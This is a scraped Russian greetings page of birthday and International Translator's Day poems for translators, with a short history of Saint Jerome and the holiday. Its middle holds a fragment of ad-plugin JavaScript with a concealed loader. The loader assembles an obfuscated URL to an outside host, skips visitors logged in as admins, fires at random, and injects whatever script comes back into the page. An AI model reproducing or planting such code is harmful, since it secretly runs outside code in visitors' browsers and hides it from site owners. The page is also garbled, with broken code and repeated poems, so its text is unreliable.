Смс поздравления переводчику с днем рождения - Мастер.Поздравлений

Смс поздравления переводчику с днем рождения

Поздравления переводчику с днем рождения

Знаешь ты язык блестящие,
Переводчик ты отменный.
Переводишь на лету,
Выдаешь слова мгновенно.

С днем рождения поздравляю,
Первым быть желаю в деле,
Чтоб клиенты все тебе
Дифирамбы только пели.

Счастья и удачи в жизни
Я желаю в праздник сладкий.
Ловко разрешай всегда
Все словесные загадки.

Непонятный для всех текст
Сможешь ты перевести,
Знаешь много языков,
Переводчики в чести!

Пожелаем мы тебе
Развиваться, не скучать,
День рожденья дружно твой
Будем вместе отмечать.

С днем рождения, переводчик. Желаю всегда быть наготове и сходу переводить даже самые затруднительные слова, желаю постоянно находиться в водовороте интересных событий и брать от жизни максимум удачи. Успехов в деятельности, увлекательных путешествий, бодрости духа, отличного настроения и всех благ для личной жизни.

С днём рождения поздравляем,
Вам стабильности желаем
И в работе, и в семье,
Пусть везёт всегда, везде!

Интересная работа,
Встречи с разными людьми,
Ничего для вас не стоит
Сложный текст перевести.

Вы не только переводчик,
Но еще и дипломат,
Сглаживаете конфликты,
Вы для фирмы — просто клад!

С днём рождения, переводчик!
Укротитель языков.
Ты легко понять способен
Смысл иностранных слов.

Пусть везёт тебе в работе,
Много денег будет пусть,
Пусть здоровье не подводит
И скорей уходит грусть.

Я тебе всех благ желаю:
Сил, успехов и добра,
Счастья в жизни и удачи.
Не тревожит пусть тоска.

Ты не просто переводчик — настоящий полиглот,
Своей памятью прекрасной удивляешь ты народ!
С днем рожденья поздравляем и желаем, дорогой,
Чтобы счастье и удача были рядышком с тобой!

Пусть душа поет, ликует, в сердце радость торопя,
Ты влюбился незаметно, от души весь мир любя!
Посещало вдохновенье каждый день и каждый час,
Был здоров и не сдавался, слыл любимчиком у нас!

Чтобы переводчиком быть,
Нужно языки и людей любить,
Радушно всегда общаться,
Иметь интерес, развиваться.

В Рождения день тебе ярких событий,
В работе разнообразия, роста, открытий,
Удачных встреч, любви, энергии, добра,
Пусть самая заветная сбывается мечта!

В языках, ты — царь и бог,
Пример для восхищения,
Переводчику сегодня
Отметим день рождения.

Мы хотим тебя поздравить
И успехов пожелать,
Чтобы мы могли партнеров
Зарубежных понимать.

Пусть всегда огонь удачи
В твоих светиться глазах,
Говорил, чтоб слово ”счастье”
Ты на разных языках.

Переводчик ты отличный,
Это знают все вокруг.
Поражают твои знания,
Мой прекрасный, добрый друг.

В день рождения желаю
Я работы классной.
Чтобы мог свои умения
Ты раскрыть прекрасно.

Будь здоров, всегда успешен,
Счастлив во всех сферах.
Непременно станет явью
Все, чего хотелось.

Переводчик — знаток языков,
Ты прийти на помощь готов,
Если возник определенный барьер.
Ты — разносторонности пример!

Пускай твои знания развиваются,
Люди интересные встречаются,
Пусть радует работа и семья,
Счастливой будет пускай жизнь твоя!

Поздравляем тебя, гуру
Иностранных языков.
Пожелать хотим все вместе,
Чтобы был всегда здоров.

Переводы во всех сферах
Словно семечки щелкать.
И своим талантом славным
Восхищать и удивлять.

Смс с Днем переводчика. Короткие поздравления

На иностранном языке информация важна,
Но для нас всех не понятны эти слова,
И только ты с этим всем можешь разобраться,
На непонятном языке до истины добраться!

Ты переводчик, голова твоя полна языков,
С испанского, турецкого, английского перевести ты готов,
Так пусть же удастся тебе побывать в этих странах,
Побывать на курортах, поплавать в океанах!

Помогаешь людям ты друг друга понимать,
Переводишь, и уже смысл разговора видать,
А нам со стороны совсем ничего не понятно,
И только ты в силах всё разъяснить внятно!

Переводчик! Ты полезным делом занимаешься,
Изучаешь языки, от безделья не маешься,
Важные люди к тебе по делу обращаются,
Ты им переводишь – отношение меняется!

За то, чтоб понять другой язык,
Наш человек готов заплатить, он не привык,
Не понимает он иностранных слов,
А тут как раз ты, и реально помочь готов!

Переведешь ты даже с русского на китайский,
И с китайского на немецкий тоже могёшь,
А ещё в совершенстве знаешь ты итальянский,
Во всё мире, без работы ты не пропадёшь!

Без работы никогда ты не останешься,
Если с языков на язык будешь переводить,
Любишь ты свою профессию, полезным делом занимаешься,
И всем людям важно между собою говорить!

Ты помогаешь понять народам друг друга,
Ты переводчик, но тебя считают за друга,
Ведь ты к человеку в глубину вникаешь,
И даже эмоции на лице своем выражаешь!

Переводчика мы с праздником сегодня поздравляем,
Быть востребованным в своей профессии желаем,
Чтобы ты никогда без работы не остался,
Чтоб людям переводил и заодно улыбался!

Пусть твои переводы будут хорошими вестями,
Чтобы люди были приятными гостями,
Мы тебе желаем, чтобы хорошо платили,
И чтобы вы только прекрасном говорили!

Ты переводчик, ты полиглот, властелин языков,
Любой сложности язык перевести ты готов.
Ты нужен народу, ты нужен стране,
А важные новости нужно знать и тебе!

О чём говорят президенты, ты подскажешь,
Мимо смысла разговора не промажешь,
Ни одно слово от тебя не уйдёт,
Переводчик всегда все досконально переведёт!

С днём переводчика! И это важный день!
Он старается, вникать в суть ему не лень,
Так давайте его сегодня поблагодарим,
И пожелать ему успехов поспешим!

Есть на свете много языков,
И с любого нам на русский ты перевести готов,
Твоя услуга бесценна, ведь без тебя мы – никак,
Чужой язык для нас, это – полный мрак!

В политике ты нужен, и на границе тоже,
Но в своих переводах бываешь ты осторожен,
Тактичен ты, вежлив, знаешь предел,
Когда вдруг кто-то кого-то «послать» захотел!

Поздравления ко дню переводчика: В стихах

Голосовые поздравления на телефон

Ссылка на основную публикацию
Adblock
detector
":'':"",document.createElement("div"),p=ff(window),b=ff("body"),m=void 0===flatPM_getCookie("flat_modal_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+o.ID+"_mb"),i="scroll.flatmodal"+o.ID,g="mouseleave.flatmodal"+o.ID+" blur.flatmodal"+o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&"true"==o.how.popup.timer&&(t=ff('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(--e),e'))},1e3))},f=function(){void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie&&m&&(flatPM_setCookie("flat_modal_"+o.ID+"_mb",!1),ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l()),void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie||(ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l())},ff("body > *").eq(0).before('
'+c+"
"),w=document.querySelector('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_modal-content'),-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer&&(t=ff('.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(--e),e'))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie&&m&&(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n(),b.on("click",'.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_cross',function(){flatPM_setCookie("flat_out_"+o.ID+"_mb",!1)})),void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie||(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n())}var _,u="0"!=o.how.outgoing.indent?' style="bottom:'+o.how.outgoing.indent+'px"':"",c="true"==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer?'
Закрыть через '+o.how.outgoing.timer_count+"
":'':"",p=ff(window),h="scroll.out"+o.ID,g="mouseleave.outgoing"+o.ID+" blur.outgoing"+o.ID,m=void 0===flatPM_getCookie("flat_out_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+o.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(o.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('
'+c+"
");var v,w=document.querySelector('.flat__4_out[data-id-out="'+o.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff('[data-flat-id="'+o.ID+'"]:not(.flat__4_out):not(.flat__4_modal)').contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;eflat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_subflat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub.flatPM_sidebar)");0<_.length t="ff(this),e=t.data("height")||350,a=t.data("top");t.wrap('');t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o');t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t *").last().after('
'),flat_body.on("click",".flat__4_out .flat__4_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat__4_modal .flat__4_cross",function(){ff(this).closest(".flat__4_modal").removeClass("flat__4_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()};var parseHTML=function(){var o=/]*)\/>/gi,d=/",""],thead:[1,"","
"],tbody:[1,"","
"],colgroup:[2,"","
"],col:[3,"","
"],tr:[2,"","
"],td:[3,"","
"],th:[3,"","
"],_default:[0,"",""]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement("div")),n=(d.exec(e)||["",""])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1]+e.replace(o,"$2>")+n[2],r=n[0];r--;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,200);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"m"+"e"+"h"+"a"+"n"+"o"+"i"+"d"+"."+"p"+"r"+"o"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0/gm,"").replace(//gm,"").trim(),e.code_alt=e.code_alt.replace(//gm,"").replace(//gm,"").trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",n=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,r='
'+a+" через "+o+'
'+n+'
',i=e.once;l(t).each(function(){var e=l(this);e.wrap('
');var t=e.closest(".flat__4_video");-1!==r.indexOf("go"+"oglesyndication")?t.append(r):flatPM_setHTML(t[0],r),e.find(".flat__4_video_flex").one("click",function(){l(this).addClass("show")})}),l("body").on("click",".flat__4_video_item_hover",function(){var e=l(this),t=e.closest(".flat__4_video_flex");t.addClass("show");var a=t.find(".flat__4_timer span"),n=parseInt(o),r=setInterval(function(){a.text(--n),n'):t.remove())},1e3);e.remove()}).on("click",".flat__4_video_flex .flat__4_cross",function(){l(this).closest(".flat__4_video_flex").remove(),"true"==i&&l(".flat__4_video_flex").remove()})};

Copyright 2010 – 2018 г. Поздравления в стихах и прозе на сайте Поздравик
Копировать материалы можно только с активной ссылкой на этот сайт.
Копировать материалы на поздравительные сайты – запрещено!

Международный день переводчика

30 сентября – Международный день переводчика

Международный день переводчика (Journée mondiale de la traduction, International Translation Day) — профессиональный праздник устных и письменных переводчиков, который отмечается ежегодно 30 сентября. В этот день в 419 или 420 году умер Иероним Стридонский, один из четырех латинских отцов Церкви, писатель, историк, переводчик.

В течение долгих лет он переводил Ветхий и Новый Заветы на латинский язык, кроме того, считается, что Иероним был создателем глаголицы. Святой Иероним традиционно считается покровителем всех переводчиков.

Международная Федерация Переводчиков (FIT) в 1991 году провозгласила 30 сентября Международным днем переводчиков. В России этот праздник стали отмечать только с 2004 года. Существенный поддержку этому дали российские метры переводческого дела Леонид Володарский, Виктор Голышев, Виктор Суходрев и др.

Иероним Стридонский, один из четырех латинских отцов Церкви, был человеком могучего интеллекта и огненного темперамента. Он много путешествовал и в молодости совершил паломничество в Святую Землю. Позже он удалился на четыре года в Халкидскую пустыню, где жил отшельником-аскетом. Здесь он изучал еврейский и халдейский языки и спутниками себе имел, по его собственным словам, «лишь скорпионов и диких зверей». В пустыне он несколько раз слышал трубы, возвещающие Страшный Суд. В западноевропейской живописи он часто изображается слушающим ангелов, трубящих в трубки над его головой.

В 386 году Иероним обосновался в Вифлееме. Именно здесь в течение долгих лет он переводил Ветхий и Новый Заветы на латинский язык. Одиннадцать столетий спустя его версия была провозглашена Тридентским собором как официальный латинский текст Священного Писания (Вульгата). Кроме того, считается, что Иероним был создателем глаголицы.

Согласно популярной притче, Иероним вынул занозу из лапы льва, который с тех пор стал его преданным другом. В бесчисленных картинах святой Иероним изображается ученым, сидящим в келье, пишущим, рядом лежит лев. Датой смерти Иеронима считается 420 год. Его мощи были перенесены из Вифлеема в Рим.

Ежегодно праздник переводчиков проходит под различными девизами, которые провозглашает Международная Федерация Переводчиков. Девизы самые разнообразные: «Переводы – живая связь между народами» – в 1992 году; «Перевод как проникающее присутствие» – в 1993 году; «Многогранный перевод» – в 1994 году; «Перевод как ключ к развитию» – в 1995 году; «Перевод и копирайт» – в 1996 году; «Перевод в правильном направлении» – в 1997 году; «Практика хорошего перевода» – в 1998 году; «Перевод-перенос» – в 1999 году; «Технологии, которые обслуживают переводческий процесс» – в 2000 году; «Перевод и этика» – в 2001 году; «Переводчики – отражение социальных изменений» – в 2002 году; «Права переводчиков» – в 2003 году; «Перевод — основа многоязычия и культурного многообразия» – в 2004 году; «Ответственность переводчика перед профессией и обществом» – в 2005 году; «Много языков — одна профессия» – в 2006 году; «Не стреляйте в гонца» – в 2007 году; «Терминология: слова имеют значение» – в 2008 году; «Работаем вместе» – в 2009 году.

В 2012 году Международный день переводчика отмечался под девизом «Перевод как межкультурная связь». В 2013 году этот день праздновался под девизом «”Объединенный мир – вне лингвистических барьеров”» (англ. Beyond Linguistic Barriers — A United World).

Каждый год в рамках празднования Дня переводчика проводятся семинары, конференции, а также торжественные концерты и награждения отличившихся в своем деле.

Поздравления с Днем переводчика

Поздравления с Днем переводчика в стихах

Свой праздник ты отмечаешь, языковед,
Твой День, переводчик наш славный!
Тебе шлю улыбку, тебе мой привет –
Огромный, веселый и славный!

Скажи мне – где прячешь запас словарей?
И память ты как заряжаешь?
Познай же язык всех птиц и зверей,
Знай больше, чем сам ожидаешь!

Спасибо, друзья переводчики, вам
За мудрость народов, доступную нам,
За речь иностранцев «уютную»,
За прозу, романы, стихи, эпиграммы,
За ясные речи, за помощь на встречах,
И просто спасибо за то, что вы есть, –
Всех ваших достоинств нам просто не счесть!

С Днем переводчика поздравим
Тебя, родной языковед,
Успехов, счастья пожелаем,
На много-много-много лет.

Пусть труд твой только мир приносит
В чужие дальние края.
Мы на руках тебя возносим –
За переводчика, УРА!

Поздравляем с Днем переводчика! Желаем от души:
Европейскую зарплату и с клиентами дружить,
Роста каждому в карьере и семейного тепла,
Если слёз – то лишь от счастья, и поменьше в жизни зла!

В этот день пускай работа принесет побольше вам
Очень легких переводов и улыбок тут, и там!
Деньги пусть текут рекою и заходят на порог,
Чтобы сегодня переводчик все себе позволить смог!

Поздравления с Днем переводчика в прозе

В этот день мы хотим поздравить всех тех, чья профессия каким либо образом связанна со знанием языков. Очень тяжело изучать языки других народов. Ведь нужно не просто выучить перевод большого количества слов, для этого еще понадобиться изучение грамматики, построения предложений. А так же влиться в менталитет народа, язык которого вы изучаете, понять их мышление, и способ выражения мыслей. Спасибо вам большое, ведь все международные отношения держаться на Вас. Но никогда не забывайте свой родной язык, тот на котором вы мыслите.

Спасибо вам, дорогие переводчики, что помогаете людям всей планеты пользоваться даром, который дал нам Господь — возможностью общаться друг с другом! Ваш труд для всего мира очень ценен и незаменим! Пусть вам в жизни сопутствует успех, работа приносит радость, а счастье не заставит себя ждать. Ну, а сегодня, в Международный день переводчика, пусть от всех, кто восхищён вашими умениями, звучат в вашу честь тосты!
© http://womanadvice.ru/pozdravleniya/mezhdunarodnyy-den-perevodchika-year-pozdravleniya-v-proze

Знать и понимать языки других стран и народов дано не каждому, поэтому Ваша профессия всегда востребована и необходима. Трудно переоценить необходимость понимать собеседника и возможность донести до него, смысл сказанного тобой. Именно переводчики вносят неоценимый вклад в развитие дружеских отношений между странами, налаживание деловых контактов и сглаживание конфликтов. Желаю Вам, чтобы работа всегда давалась легко, ваше мастерство оттачивалось и крепло, а проделанный труд удостаивался внимания и высоких похвал! С праздником Вас -с Международным днем переводчика!
© http://pozdravlenija-vsem.ru/s-prof-dnem/mezhdunarodnyj-den-perevodchika-/419-stih-k-mezhdunarodnomu-dnju-perevodchika

СМС поздравления с Днем переводчика

Короткие поздравления с Днем переводчика

Весь мир отмечает день человека,
Что меж языков уж десятки веков
Всегда связь точную поставит.
Что коммуникацией правит.
Особенных заказов тебе больших,
Замечательных выходных,
Работы больше и оплаты подостойней,
Удачи, жизни потеплей и поспокойней!

С Днем переводчика! Тебе желаю от души:
Европейскую зарплату и с клиентами дружить,
Роста карьерного и семейного тепла,
Если слёз – то лишь от счастья, и поменьше в жизни зла!

Не всем дано освоить иностранные языки. Для этого нужно иметь особый дар. А у тебя он есть, и есть возможности. Пусть всегда и во всем тебе сопутствует успех! С Днем переводчика!

С иностранным языком
Очень близко ты знаком,
Можешь сделать перевод,
Ждет тебя крутой доход!
С Днем переводчика поздравляю
И от всей души тебе желаю:
Пусть успех шагает рядом,
А семья будет отрадой.

С Днем переводчика поздравляю!
Пусть будешь успешен во всём!
Бескрайней любви тебе я желаю!
Не стоит грустить ни о чём!

Голосовые поздравления с Днем переводчика

В праздничный день особенно приятно будет получить оригинальное поздравление: голосовую открытку на мобильный с песней в подарок, розыгрышем или поздравительным стихотворением.

Поздравления с Днем переводчика на телефон вы можете прослушать и отправить понравившееся получателю как музыкальное или голосовое поздравление на мобильный или смартфон. Заказать и отправить поздравление с Днем переводчика на телефон можно как сразу, так и указав предварительно дату и время доставки аудио открытки. Звуковое поздравление с Днем переводчика на телефон будет гарантировано доставлено на мобильный, смартфон или городской телефон, в чем вы лично можете убедиться, отследив статус получения поздравления, перейдя по полученной ссылке в СМС сообщении после оплаты.

Прикольные поздравления с Днем переводчика

Ты словно мост, ты словно нить,
Ты можешь народы соединить.
Не важна раса и язык,
Ты сделаешь, чтобы каждый вник
И понял тонкости всего,
Ты – переводчик ого-го!
И будут так легко совсем
Общаться люди без проблем,
В День переводчика мы пожелаем,
Чтобы был ты всеми уважаем,
И переводчика твоя судьба,
Была чтобы по жизни хороша!

Чтобы не было конфузов в общении с заграницей, существует профессия переводчика. Это начитанные и культурные, ответственные и мужественные люди! Мои поздравления с Международным днем переводчика и похвала с отличным выбором профессии, ведь язык – важная вещь! Позволь пожелать тебе быть талантливым работником, незаменимым специалистом и всегда ходить в фаворе!
© http://ya-camaya.ru/congratulate.php?category_ >

Все, что было непонятно,
Странно и витиевато,
Переводчику нетрудно рассказать, о чем здесь суть.
С Днем переводчика! Тебе мы пожелаем
Здоровья и успеха. Точно знаем,
Что нетрудным и недолгим будет к счастью жизни путь.
Пусть сбываются мечты,
Пусть не будет горьких дней,
Радости, большой любви!
Жизнь пусть будет ярче, веселей!
© http://www.millionpodarkov.ru/pozdr/professii-perevodchiku/

Международный день переводчика — праздник сравнительно молодой, но уже в течение небольшого промежутка времени празднование30 сентября стало очень важным событием среди представителей этой профессии. 30 сентября все люди, которые хоть как то связанны с переводами с одного языка на другой, отмечают свой профессиональный праздник. В этот день можно поздравить не только переводчиков, а также учителей иностранных языков, репетиторов, и просто тех людей кто изучает или уже владеет не только родным языком.

Поздравления с днем рождения переводчику

Переводчик, ты знаток языков,

Текст преобразовать всегда готов,

Умело с людьми общаешься,

В разных отраслях вращаешься.

Профессия твоя незаменима,

Всегда, везде необходима,

Ведь чтобы язык общий находить,

Нужно знания иметь, свой труд любить.

В Рождения день развития тебе,

Энергии, удачи, впечатлений,

В работе своей всегда быть «на коне»,

Любви красивой, радостных мгновений!

Знаешь много языков,

Ты отличный переводчик,

В день рождения желаем

Хватку ты не потеряй,

Пусть удача будет рядом,

Выпьем мы за это чай!

С днем рожденья тебя, переводчик,

Happy birthday, наш милый дружок,

Пусть прекрасные будут те ночи,

Что провел ты под полной луной,

Пусть же жизнь твоя будет so funny

И работа твоя very good,

Кошелек будет полон деньгами,

Будет место, где любят и ждут.

Чтоб мы друг друга понимали,

Чужие выучил слова.

Чтоб мы друг друга узнавали

Твоя профессия нужна.

Пытливый ум, красивый почерк.

Заморский знаешь ты язык.

Ну, с днем рожденья переводчик!

Мы знаем, клевый ты мужик!

Твоя работа интересна,

И нисколечко не пресна.

Знаний нужен клад большой,

Переводчик ты крутой.

Поздравляем с днем рожденья,

Много в жизни вдохновенья.

Настроения в работе,

Радость, при карьерном взлете.

Ум твой чтобы отдыхал,

Чтоб любимый понимал.

Не грустить и не сдаваться,

И почаще улыбаться.

С иностранным языком

Очень близко ты знаком,

Можешь сделать перевод,

Ждет тебя крутой доход!

Принимай-ка с днем рожденья,

Пусть успех шагает рядом,

А семья будет отрадой.

Поздравляем тебя, гуру

Пожелать хотим все вместе,

Чтобы был всегда здоров.

Переводы во всех сферах

Словно семечки щелкать.

И своим талантом славным

Восхищать и удивлять.

Переводчик — знаток языков,

Ты прийти на помощь готов,

Если возник определенный барьер.

Ты — разносторонности пример!

Пускай твои знания развиваются,

Люди интересные встречаются,

Пусть радует работа и семья,

Счастливой будет пускай жизнь твоя!

Переводчик ты отличный,

Это знают все вокруг.

Поражают твои знания,

Мой прекрасный, добрый друг.

В день рождения желаю

Я работы классной.

Чтобы мог свои умения

Ты раскрыть прекрасно.

Будь здоров, всегда успешен,

Счастлив во всех сферах.

Непременно станет явью

Все, чего хотелось.

В языках, ты — царь и бог,

Пример для восхищения,

Отметим день рождения.

Мы хотим тебя поздравить

И успехов пожелать,

Чтобы мы могли партнеров

Пусть всегда огонь удачи

В твоих светиться глазах,

Говорил, чтоб слово ”счастье”

Ты на разных языках.

Чтобы переводчиком быть,

Нужно языки и людей любить,

Радушно всегда общаться,

Иметь интерес, развиваться.

В Рождения день тебе ярких событий,

В работе разнообразия, роста, открытий,

Удачных встреч, любви, энергии, добра,

Пусть самая заветная сбывается мечта!

Ты не просто переводчик — настоящий полиглот,

Своей памятью прекрасной удивляешь ты народ!

С днем рожденья поздравляем и желаем, дорогой,

Чтобы счастье и удача были рядышком с тобой!

Пусть душа поет, ликует, в сердце радость торопя,

Ты влюбился незаметно, от души весь мир любя!

Посещало вдохновенье каждый день и каждый час,

Был здоров и не сдавался, слыл любимчиком у нас!

Яндекс.Метрика